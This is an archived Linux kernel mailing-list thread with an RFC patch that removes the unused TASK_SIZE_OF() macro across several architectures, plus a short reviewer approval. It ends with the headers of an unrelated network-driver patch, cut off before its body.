X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;3:15HV4IBN8kU6HCrk18MTxgm6pa7+pDZKnzU9XV8y+CIj/DE4pw+s8+JJ8Xx2n/b0vVm7+pV4RPkHwmldn2AE4NkpIsTSt1JhjjCCrSaT/ZPPXh/FzvJV2YcTX1U7qxpH0v6OgD5/8DBE0HNbKuomFmY8+nbeRWeQiLamLt4qKLKDNsFeLv4+UK5DwqV6bl5VKF2IbTX2KVezh+iVKAg0UH1+TLYKgskVtqUNYC6zGxsL1khaVjX5CtlTMtSt+7tIxB9RkHaFIKGqF7nZE0wubw==;25:TnpJtdeXSt/mAQP04JzRkZLZ89RaRVmERdnL0TrNN56NISGFSE3o/MWITeGDWOmHdbBqDTsjg80A9bY4yq153uMe1nT1Yqx5z8RlWWDYJKe3HEu1kwNby9f935URG4CMXSVbk4Dots9l37AHTT1lug3nXWcaFRLG5jDn/xR2CO/WcNaCipd3JPvZnz43rJXor4h1QTDEw6GV4U0Fp0p4Hx02ujq8by/7yP6LTmkTQOfkEYK23GkXAcsTqEpgZ8nEfH4pdoEFY5I5PAsrNzArpaCbcJSjd8lDOw8ploSbNrmYiayH9ayop0wT+VkisxKMldud/YQAmSfENJ7YKhs1iyyT8DKJPg36BavBLkdcXFlMjpaBW1taGyJ6FoBl2hBQJmi8yJZ0TSStoY1u4B2tRtlf7ZzFaW2OWND91k635yEMulRjtrEAGhqrcA5OCRiRFvwfVvi6J/zcqZ
 PiAhKAVg==
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;31:XK8DqJL3TxCXqgiCaqNxvd5T/KFhSBJCgOEDBnZTVCfu2WP9ZGISgFS38135CzC3GF8pHAJMv9MolFhAFpxuhIUE522p6CMl1xcXphVXLJBJuoA2Wf6KlOgrZThs2itmLO5JFSP3vMcog31vn7gmbqdl++5j0ZAAA+/PiAY9Optdv5ZAqCp6XG51oWYOaLN/AiNDhsf1K/Re3rW/iOp7l93aKzYFObrvVnjSr5ArU5LtcvRgKcIBMS0JAu2EJMrKmFA+E9Gz1B8smMIkRkGtfw==;20:xq0fq0RuCNU0JdfmK7t35wW+i70s6+SYngUnXt5fps9dCG2KGDVVxbs23LJX6F0vXn64AOKtiPh6xI7EEnz+0YBENrseeSNr7930PGGyzzYK952n2o4ID14mDhl7GYjOxkTHIrzN1N4HsuQbb6bBGKnadVkOJc1JvuVrCYWRz9NEQRAzzOGJabHOMGb7HcKrwR1UEHQOARnyVPYR2lMml+MIvXK+b5yWtA0H+vOWrk0TAkUXRHvEEhwoLYBupjSy
X-Microsoft-Antispam-PRVS: <HE1PR0801MB1740AEF21B5286B1DAB71981D16A0@HE1PR0801MB1740.eurprd08.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(180628864354917)(26323138287068)(9452136761055)(65623756079841)(190383065149520)(258649278758335)(104084551191319);
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040375)(601004)(2401047)(8121501046)(5005006)(10201501046)(3002001)(6041248)(20161123555025)(20161123560025)(20161123558021)(20161123564025)(20161123562025)(6072148);SRVR:HE1PR0801MB1740;BCL:0;PCL:0;RULEID:;SRVR:HE1PR0801MB1740;
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;4:188llFYAc3cBEAXalG6Hanb6PwvTO3vADJhFpMsoAIBIQWdpoAX7RM9VlStfL2jE5A7GaK12en0NNVsQAtci1DRn5kQ4W6JfqL7BJUmK2JEBIxWVk+yz/cpmMjZGZHdQjt6nCZM5XXH+kGJdpAVp6Wxx53pAPvAwJ0U/IirprMTbrXbYUVITG4FPxBdb3PxmmHnl4KrbkvHp1R8L6Hl1pN1gQd+NlFAuXRW6IF5FS51L4+5ac1j9UIUdtulVcA5Vhj8A1E+dZler+TaEo9stp2Uwlfx+dwdA/J2VInXLWGhym8gGtUJhYy/jt1EyS3L7fPuICaJoEnRl0ZvAN8mIzUPs9/lRXWxopYS29eNno3Da2XxaT6Kx8XE4fxSWbaUVLu29LciktXLAzd7fe9454qCO9LZnj9YyxNGpZSq6Kb/gGCJBoXcNcTICFeVJqBXF8+o1sHSc3ZcwJ7SiIAAKCc++jgg8dT+ofFiIhWrshEh156d9Ah1sX1Z5gVkXy8q8yVrr1LlFEhtnHfeb3FxIezYbx1swwQi9YJRtrR79EqicYU6T8LQ18ZG35COCGaTCSNukMrauxiHEK2n+A5sl5GTV1vNUeSun4/pAgIByXkuHlBrZkeZaw9ucRiS19rYV2cxGMg+OiZl5C1OKDxVD+kXDob0YoVuQsVAaTAuRJhNEtKsAIWSBDfeIXmaEqOa4vLQQnlwlVRuJ6a3/z+VYjr7+ZBKKgo5ZlZhtFZcGVx
 P57A3oqyC4eQ6IYL5G+Ymy8xvcuJDE4/UBjBJHa5ekmvYcQo9A5KsDmWRUSXFZpbaoSNHfS2wfsUCLnMtCFujoOCuJTLkKDh8U 
X-Forefront-PRVS: 0172F0EF77
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10019020)(4630300001)(979002)(6009001)(7916002)(39450400003)(199003)(189002)(36756003)(81156014)(8666007)(50226002)(2950100002)(6666003)(6916009)(110136003)(5003940100001)(69596002)(66066001)(6512006)(81166006)(101416001)(68736007)(8676002)(47776003)(25786008)(76176999)(86362001)(50986999)(106356001)(33646002)(92566002)(6486002)(5660300001)(2351001)(189998001)(53416004)(38730400001)(42186005)(105586002)(305945005)(1076002)(6116002)(97736004)(3846002)(39060400001)(7416002)(2906002)(48376002)(7736002)(50466002)(4326007)(6506006)(969003)(989001)(999001)(1009001)(1019001);DIR:OUT;SFP:1102;SCL:1;SRVR:HE1PR0801MB1740;H:dsafonov.sw.ru;FPR:;SPF:None;PTR:InfoNoRecords;A:1;MX:1;LANG:en;
Received-SPF: None (protection.outlook.com: virtuozzo.com does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;HE1PR0801MB1740;23:FxpyZb/oyLiME23Q9XYsHTEakCRLLVICe1z1HwR?=
 =?us-ascii?Q?6l/tii0WrZeljAxeKcrF6YXTvv+g8YHIFoGuG58gBTgBY9K/RNeB/lGGkt2m?=
 =?us-ascii?Q?WfFfkVKDaBXEsqsh0Pmtm8bJUkp7hPulF6VRDqCPhbMN0q6780NpJ80otBdh?=
 =?us-ascii?Q?koaJiW3C6YWNUlH87x2Z30eNoSFcau3h6m5/JN+jIAj9D5OIurifYrEfJva6?=
 =?us-ascii?Q?MsiFIW5HVKW2FPbmQe65BtWJ5kgm7DY7vIMcP48W+gyTOGDWwmsZVEeCKKVU?=
 =?us-ascii?Q?tVosuSylfs9qFuUQum4hkxO+63ezftFSXEdwGxL9TvUoFqwUDPKWHBIUlgXq?=
 =?us-ascii?Q?r1kJ9Kls0kCfuj+rJ8VqN6dQELlTiTA1bOVGN0od0Rn3i/BUEfy8WttzTb8X?=
 =?us-ascii?Q?eigqEksvCjCUoiUbE4uz4EoHhQNhw+H/gM52bJf+MHLfD5WSkjdcvzLlLypN?=
 =?us-ascii?Q?+49qyjKbTmkqBaUVT6+Tz81MKqxmzM3lcm6CgMhmaep7XQU399YFsyUwW2er?=
 =?us-ascii?Q?jaTUA2OqtSb+vNZ5u4BPn3Pm+P072Ra5jMuD+NGsiWmXc2SkDDghPIh9i+oU?=
 =?us-ascii?Q?lFS921/sU+tzUDEySsEFQkGcTPb7aT1+/SuKkZsPqIdEKd1npr4WxpMexzSl?=
 =?us-ascii?Q?VwXocK 
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;6:QoEEE2234WjUs5DEwJ0GXXrvnt3r2oVLSGLKNWcTo9Of21otuEUHx9RhX5t0KfVn6Sr8/Mcf7O/hO8xjg7Ksz1ltAk19saa3E3kUd4n0idBnZq5XP3on7YBxiVbEfhkSQ1oW2z9jAJAle+0pHTeBn970rRTAEgLJrBw2nbGS53moI/1TsIcfRD36yUtU80GC1fed8pTbZdfa056fyzRlf+pD3L513AxgHWG47Rcbtn9o+j10b5TJygyOv4FN6U5xGx8KFzAYYN1LSssfSU0o1VlroBRkHp6uFSxedOAZnkvcw1Ac21eh0obohLYIjs8zOVtvSOpcbyTcnhzVvsV8xrQ7Uq0OJqiRFtHdHq3nBYJ0SY2QOeQvRYG7s4jZDBcdAlkQNd8N51yWFwWMbRbb3bEX+/vDjPWS/HpYfWpglSU=;5:53qoslIS264I0l3mWK0OnTAfoG9WdbDncYAwAxTWdjwBOoOZ2noJr3Qhht3RpF7ynHJmBhQuFOwmOzkVMIdBvdIcxa53jVBouEspE3+A155jHBq/+j+OKyCZNv72GM1EQV+u/8IJzpjJFuwtiQMqBQ==;24:LvSDWv73mXXMV0vuW5/vaHOano2Jnxl4YDe8064+ceAqXvzglBtlEJpc3OC1jAIKet/CHydDOAXnqqveCFzuDUc3tpvvasoj0JiyIm0LwRc=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;7:svpher4DrZeDeNwTc0rwshbo+plJmvk/brYkmPvBbjsjLKoFaHGOGjkMHHunwr2voHD8VdYAKOnXtzdLqz9vS4rXMSK9fcqKnuyqoWKMI25vOrGasJ8WFG94xbIygGpcpGU3CWr8JeEuysPpWfKuO5ONeXf0Ne2W0JeoATEjYehZXknJI5sd3bz07irkX5ahvfsdWyAqW3lNDzaoiCXiHWpXYYp6K2e9g+hrIrCLzZmSTZa4AMnapfEspseoBgxiuzOkj9IQKsEjVdMuglpzMsPtJdZHPfCt27o+1Xeid7xfaTyoHjwYntldzKZ/QRvbX+nRXaaatNjTFPkHY6OdT4JzhZhqhQmPHp0IgkgUWh55Lx+f6U3vpAimyNSyJYL2fSP+1Ou2wn/wKINYHA+oB46qCb5Y4f83P9WARJDauR/GPWOqLFYrJUIfdy6PfKlcH/50XW+e6llsiWheBDfR1A==;20:5cmJVEyTSMuc0MA7HWf330a1Kdf7GDa5MBjjZT5KCr1R+LHftHQdC5rezxd5Tn5TtmPE1//S/Ukf+WR7jF81G5nsbLOtGCAi6XZeWhbV35fBSdAPRiP0M+U2dZzZCAl28Wh3SYjmLjNrDe6Acm9Rnkr0P9MCdSU7M21ahhE92TI=
X-OriginatorOrg: virtuozzo.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Dec 2016 16:00:08.9080 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HE1PR0801MB1740
X-archive-position: 56136
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dsafonov@virtuozzo.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57303 gmane.linux.kernel:2377291 gmane.linux.ports.arm.kernel:546935 gmane.linux.ports.parisc:27125 gmane.linux.ports.ppc64.devel:136849 gmane.linux.ports.sparc:24220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57303>

All users of TASK_SIZE_OF(tsk) have migrated to mm->task_size or
TASK_SIZE_MAX since:
commit d696ca016d57 ("x86/fsgsbase/64: Use TASK_SIZE_MAX for
FSBASE/GSBASE upper limits"),
commit a06db751c321 ("pagemap: check permissions and capabilities at
open time"),

Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Signed-off-by: Dmitry Safonov <dsafonov@virtuozzo.com>
---
 arch/arm64/include/asm/memory.h       | 2 --
 arch/mips/include/asm/processor.h     | 3 ---
 arch/parisc/include/asm/processor.h   | 3 +--
 arch/powerpc/include/asm/processor.h  | 3 +--
 arch/s390/include/asm/processor.h     | 3 +--
 arch/sparc/include/asm/processor_64.h | 3 ---
 arch/x86/include/asm/processor.h      | 2 --
 include/linux/sched.h                 | 4 ----
 8 files changed, 3 insertions(+), 20 deletions(-)

diff --git a/arch/arm64/include/asm/memory.h b/arch/arm64/include/asm/memory.h
index bfe632808d77..329bb4fd543c 100644
--- a/arch/arm64/include/asm/memory.h
+++ b/arch/arm64/include/asm/memory.h
@@ -80,8 +80,6 @@
 #define TASK_SIZE_32		UL(0x100000000)
 #define TASK_SIZE		(test_thread_flag(TIF_32BIT) ? \
 				TASK_SIZE_32 : TASK_SIZE_64)
-#define TASK_SIZE_OF(tsk)	(test_tsk_thread_flag(tsk, TIF_32BIT) ? \
-				TASK_SIZE_32 : TASK_SIZE_64)
 #else
 #define TASK_SIZE		TASK_SIZE_64
 #endif /* CONFIG_COMPAT */
diff --git a/arch/mips/include/asm/processor.h b/arch/mips/include/asm/processor.h
index 95b8c471f572..c2827a5507d4 100644
--- a/arch/mips/include/asm/processor.h
+++ b/arch/mips/include/asm/processor.h
@@ -73,9 +73,6 @@ extern unsigned int vced_count, vcei_count;
 #define TASK_SIZE (test_thread_flag(TIF_32BIT_ADDR) ? TASK_SIZE32 : TASK_SIZE64)
 #define STACK_TOP_MAX	TASK_SIZE64
 
-#define TASK_SIZE_OF(tsk)						\
-	(test_tsk_thread_flag(tsk, TIF_32BIT_ADDR) ? TASK_SIZE32 : TASK_SIZE64)
-
 #define TASK_IS_32BIT_ADDR test_thread_flag(TIF_32BIT_ADDR)
 
 #endif
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index a3661ee6b060..8b51ddae8e4a 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -32,8 +32,7 @@
 
 #define HAVE_ARCH_PICK_MMAP_LAYOUT
 
-#define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
-#define TASK_SIZE	        TASK_SIZE_OF(current)
+#define TASK_SIZE	        (current->thread.task_size)
 #define TASK_UNMAPPED_BASE      (current->thread.map_base)
 
 #define DEFAULT_TASK_SIZE32	(0xFFF00000UL)
diff --git a/arch/powerpc/include/asm/processor.h b/arch/powerpc/include/asm/processor.h
index 1ba814436c73..04e575ead590 100644
--- a/arch/powerpc/include/asm/processor.h
+++ b/arch/powerpc/include/asm/processor.h
@@ -111,9 +111,8 @@ void release_thread(struct task_struct *);
  */
 #define TASK_SIZE_USER32 (0x0000000100000000UL - (1*PAGE_SIZE))
 
-#define TASK_SIZE_OF(tsk) (test_tsk_thread_flag(tsk, TIF_32BIT) ? \
+#define TASK_SIZE	(test_thread_flag(TIF_32BIT) ? \
 		TASK_SIZE_USER32 : TASK_SIZE_USER64)
-#define TASK_SIZE	  TASK_SIZE_OF(current)
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/s390/include/asm/processor.h b/arch/s390/include/asm/processor.h
index 6bca916a5ba0..c53e8e2a51ac 100644
--- a/arch/s390/include/asm/processor.h
+++ b/arch/s390/include/asm/processor.h
@@ -89,10 +89,9 @@ extern void execve_tail(void);
  * User space process size: 2GB for 31 bit, 4TB or 8PT for 64 bit.
  */
 
-#define TASK_SIZE_OF(tsk)	((tsk)->mm->context.asce_limit)
 #define TASK_UNMAPPED_BASE	(test_thread_flag(TIF_31BIT) ? \
 					(1UL << 30) : (1UL << 41))
-#define TASK_SIZE		TASK_SIZE_OF(current)
+#define TASK_SIZE		(current->mm->context.asce_limit)
 #define TASK_MAX_SIZE		(1UL << 53)
 
 #define STACK_TOP		(1UL << (test_thread_flag(TIF_31BIT) ? 31:42))
diff --git a/arch/sparc/include/asm/processor_64.h b/arch/sparc/include/asm/processor_64.h
index 6448cfc8292f..6ce1a75d7a24 100644
--- a/arch/sparc/include/asm/processor_64.h
+++ b/arch/sparc/include/asm/processor_64.h
@@ -36,9 +36,6 @@
 #define VPTE_SIZE	(1 << (VA_BITS - PAGE_SHIFT + 3))
 #endif
 
-#define TASK_SIZE_OF(tsk) \
-	(test_tsk_thread_flag(tsk,TIF_32BIT) ? \
-	 (1UL << 32UL) : ((unsigned long)-VPTE_SIZE))
 #define TASK_SIZE \
 	(test_thread_flag(TIF_32BIT) ? \
 	 (1UL << 32UL) : ((unsigned long)-VPTE_SIZE))
diff --git a/arch/x86/include/asm/processor.h b/arch/x86/include/asm/processor.h
index eaf100508c36..090a860b792a 100644
--- a/arch/x86/include/asm/processor.h
+++ b/arch/x86/include/asm/processor.h
@@ -819,8 +819,6 @@ static inline void spin_lock_prefetch(const void *x)
 
 #define TASK_SIZE		(test_thread_flag(TIF_ADDR32) ? \
 					IA32_PAGE_OFFSET : TASK_SIZE_MAX)
-#define TASK_SIZE_OF(child)	((test_tsk_thread_flag(child, TIF_ADDR32)) ? \
-					IA32_PAGE_OFFSET : TASK_SIZE_MAX)
 
 #define STACK_TOP		TASK_SIZE
 #define STACK_TOP_MAX		TASK_SIZE_MAX
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 4d1905245c7a..7a2e2f3f38a3 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -3610,10 +3610,6 @@ static inline void inc_syscw(struct task_struct *tsk)
 }
 #endif
 
-#ifndef TASK_SIZE_OF
-#define TASK_SIZE_OF(tsk)	TASK_SIZE
-#endif
-
 #ifdef CONFIG_MEMCG
 extern void mm_update_next_owner(struct mm_struct *mm);
 #else
-- 
2.11.0




From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: Re: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Date: Fri, 30 Dec 2016 17:36:31 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <CALCETrVsjDqWpF2E4gZKMx4EEFHLYSR+AOX_3BcV3FNPe13pkg@mail.gmail.com>
References: <20161230155634.8692-1-dsafonov@virtuozzo.com> <20161230155634.8692-2-dsafonov@virtuozzo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1483148224 25855 195.159.176.226 (31 Dec 2016 01:37:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 31 Dec 2016 01:37:04 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Dmitry Safonov <0x7f454c46@gmail.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Peter Zijlstra <peterz@infradead.org>,
        "linux-arm-kernel@lists.infradead.org" 
        <linux-arm-kernel@lists.infradead.org>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-parisc@vger.kernel.org,
        l
To: Dmitry Safonov <dsafonov@virtuozzo.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Dec 31 02:36:57 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cN8bN-0005Ba-SN
	for glk-linux-kernel-3@m.gmane.org; Sat, 31 Dec 2016 02:36:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754554AbcLaBgz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 30 Dec 2016 20:36:55 -0500
Original-Received: from mail-ua0-f171.google.com ([209.85.217.171]:33914 "EHLO
        mail-ua0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752210AbcLaBgw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 30 Dec 2016 20:36:52 -0500
Original-Received: by mail-ua0-f171.google.com with SMTP id 34so225039383uac.1
        for <linux-kernel@vger.kernel.org>; Fri, 30 Dec 2016 17:36:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital-net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=nQN2sAznDhR3o/sNczZVSRotGfXbQY61Nz9XWvVQwL4=;
        b=Cpk0+O3UGUh3byFzBZWZtONQmcjjMTFbqwaP3pqlFX361BMq+n4FedSIdnh7SQ1Gka
         3+KUR9SWFK2llT7KPJSKTTv5I5epDlHmY91py1rPRbNZMskbKVFHtM9xTQ5BnLd+/tYT
         WKe4DC8Yfrtf/tIItx8OQHm5liUMGc4SU8iBAVmu/irPw4+1IkX+ehFQ94dwX08fx41j
         +oedeYIYX+xOKQ3ZcOc33KC5Z0qd5aJPoMfwaa9PSrukVzj11glqjh6mtrLTFO7Q+Hhm
         qZ1CPCZgrX5/YAY7FkliJjC29XSF0teg/RIPWeGWx2vH6thxL0MhCbTC50D5GNHapuaN
         B//A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=nQN2sAznDhR3o/sNczZVSRotGfXbQY61Nz9XWvVQwL4=;
        b=rMroNAuOSwJx8taY3M3pqQ5RPIAL1D2Bj8hEsNsSM3OCgDz3zq/zKzVznePfZaYA9r
         LDwl1bVUrmsW/ws7eYBI3rVuWc//eBT8UJBlyG8R1i3q/E55aQv7P8AfwFUSQbOYhGU3
         OJC74DGP4ivel7r1jzoj/BCv7KQ02yfS0KZ6S78P6xZUxOajn22hDKAw+MukFz3Gcgx8
         wzuVNdKfFA6QKok8PZls6+TkrFUFHjoTKtw7j7VEytF+1F4VfeQYjo/OjYK0O7dVG6wT
         8JCpQT3p9vF/rAqFZ/55oRFUoGtOd5YvBNhjxTv8BwFYEhGUQhiXM297VjxosrJtbbyv
         /bYg==
X-Gm-Message-State: AIkVDXLJlwi4RcEzhAiW4VsuLCWMyBXgg04h9wHtCxCzb4bWTIFAyyhwOtDTzfJ2FzTsIfnkM4NLtmPMDl3EeoR6
X-Received: by 10.176.6.74 with SMTP id f68mr37935241uaf.37.1483148211546;
 Fri, 30 Dec 2016 17:36:51 -0800 (PST)
Original-Received: by 10.103.139.66 with HTTP; Fri, 30 Dec 2016 17:36:31 -0800 (PST)
In-Reply-To: <20161230155634.8692-2-dsafonov@virtuozzo.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2377433 gmane.linux.ports.arm.kernel:546951 gmane.linux.ports.mips.general:57304 gmane.linux.ports.parisc:27126 gmane.linux.ports.ppc64.devel:136850 gmane.linux.ports.sparc:24221
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2377433>

On Fri, Dec 30, 2016 at 7:56 AM, Dmitry Safonov <dsafonov@virtuozzo.com> wrote:
> All users of TASK_SIZE_OF(tsk) have migrated to mm->task_size or
> TASK_SIZE_MAX since:
> commit d696ca016d57 ("x86/fsgsbase/64: Use TASK_SIZE_MAX for
> FSBASE/GSBASE upper limits"),
> commit a06db751c321 ("pagemap: check permissions and capabilities at
> open time"),

I like this.

Reviewed-by: Andy Lutomirski <luto@kernel.org> # for x86


From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Philippe Reynes <tremyfr@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH] net: dec: de2104x: use new api ethtool_{get|set}_link_ksettings
Date: Sun,  1 Jan 2017 19:05:38 +0100
Lines: 215
Approved: news@gmane.org
Message-ID: <1483293938-5227-1-git-send-email-tremyfr@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1483293955 18839 195.159.176.226 (1 Jan 2017 18:05:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Jan 2017 18:05:55 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org, Philippe Reynes <tremyfr@gmail.com>
To: davem@davemloft.net, jarod@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 01 19:05:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cNkVu-0003n2-5U
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Jan 2017 19:05:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932262AbdAASFt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Jan 2017 13:05:49 -0500
Original-Received: from mail-wj0-f193.google.com ([209.85.210.193]:36109 "EHLO
        mail-wj0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932183AbdAASFs (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Jan 2017 13:05:48 -0500
Original-Received: by mail-wj0-f193.google.com with SMTP id j10so66487439wjb.3;
        Sun, 01 Jan 2017 10:05:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=TjyRdQNWYhENl+xGoZ++eSZMHwUGVJ4LmO6FvfhHzBY=;
        b=XNyD+qKCHLNWpWJYFamuFZpE1c8oRIH+BmhRTQb8JckFOq4PxNsyCRl/13osntxazh
         5Y/1zlbFVSgYI6qWXWwNSCiTBDNryXUniUre6+eaUFJTuQntnZu1YbrC5daFOhhFVhQp
         m48bW15l+bm3A3bZhcgBfO8EB1ukAjYUlJ5yt+5pG6LAt749VaonizS/+/zmcbn3rleT
         LTE/XwAgB717kh8IytvJraaig2W6R1/ue3L2QIgCvX/iMyAbFMHZ4v5bswAuwM+jq/xQ
         mHJbH1RLXPKvOfNNU+79J34sry45/x3nev+olmmaY+H0XzqV3nyWgMj1WZZ7w0ktvBYd
         Zpmg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=TjyRdQNWYhENl+xGoZ++eSZMHwUGVJ4LmO6FvfhHzBY=;
        b=cnGl8c6FzKqloQbjHz0rH/LpdxOAa9JOkyiaqTgxVArfv+d2l8PE+eSm2hhY+qkuQB
         Z9NSYLEHIWwihgSdeEtKVLD8TCskZabecOeeycHlV7B7Hj5dmY5qdF8IcyhB+wPB5uo3
         7bLliPSPrQ994h349kh2U/40hpa1cE6/PohCA1F9UND9mOqBkDC+6L/s/dmOppUHfv7h
         ob7dqvryZtCxoa6YGNYNj9RoRUkiNDNSKWJNjoyKCQHJHC/pTh6Oc6GcPDCJWNChUx+i
         fgJFlgb/W9R9vgqV/4sYC2gyk/BWeyKzd9awB+pPX0Ra00CTxOl6Qo+08oSYk17fQzmD
         ieWQ==
X-Gm-Message-State: AIkVDXJXHcvXVHFMWOOil6knT1jFzzq05ylnE/mO01twt02C47m8DmXSOnf7ccmJG65mxQ==
X-Received: by 10.194.231.8 with SMTP id tc8mr46428070wjc.193.1483293946755;
        Sun, 01 Jan 2017 10:05:46 -0800 (PST)
Original-Received: from localhost.localdomain (bny93-7-88-161-33-221.fbx.proxad.net. [88.161.33.221])
